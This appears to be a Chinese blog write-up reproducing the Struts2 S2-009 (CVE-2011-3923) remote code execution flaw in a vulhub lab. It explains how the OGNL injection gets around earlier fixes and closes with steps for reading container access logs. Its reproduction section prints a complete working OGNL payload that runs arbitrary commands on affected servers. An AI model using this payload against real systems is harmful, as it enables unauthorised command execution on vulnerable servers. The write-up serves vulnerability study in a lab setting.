CVE-2011-3923 S2-009复现
0X00-引言
学爪哇去了，看不懂源码太难受了，一直在门外晃，不懂原理，构造不出EXP
0X01-环境搭建
靶机：CentOS Linux 7
攻击机：windows server 2016 && Kail
环境：vulhub
项目地址：https://github.com/vulhub/vulhub
搭建vulhub请访问：空白centos7 64 搭建vulhub(详细)
0X02-漏洞描述
参考Struts2漏洞分析之Ognl表达式特性引发的新思路，文中说到，该引入ognl的方法不光可能出现在这个漏洞中，也可能出现在其他java应用中。
Struts2对s2-003的修复方法是禁止静态方法调用，在s2-005中可直接通过OGNL绕过该限制，对于#号，同样使用编码\u0023或\43进行绕过；于是Struts2对s2-005的修复方法是禁止\等特殊符号，使用户不能提交反斜线。
但是，如果当前action中接受了某个参数example，这个参数将进入OGNL的上下文。所以，我们可以将OGNL表达式放在example参数中，然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它，从而绕过官方对#、\等特殊字符的防御。
影响版本：2.1.0 - 2.3.1.1
漏洞地址：http://your-ip:8080/ajax/example5.action
0X03-漏洞复现
01-任意命令执行
payload: id为变量，可修改
?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
0X04-工具检测
工具地址：https://github.com/Liqunkit/LiqunKit_
0X05-查看日志
docker ps #查看容器ID
docker exec -it ID /bin/bash #进入
cd logs #进入日志目录
cat localhost_access_log.2021-12-02.txt #查看日志
exit #退出容器
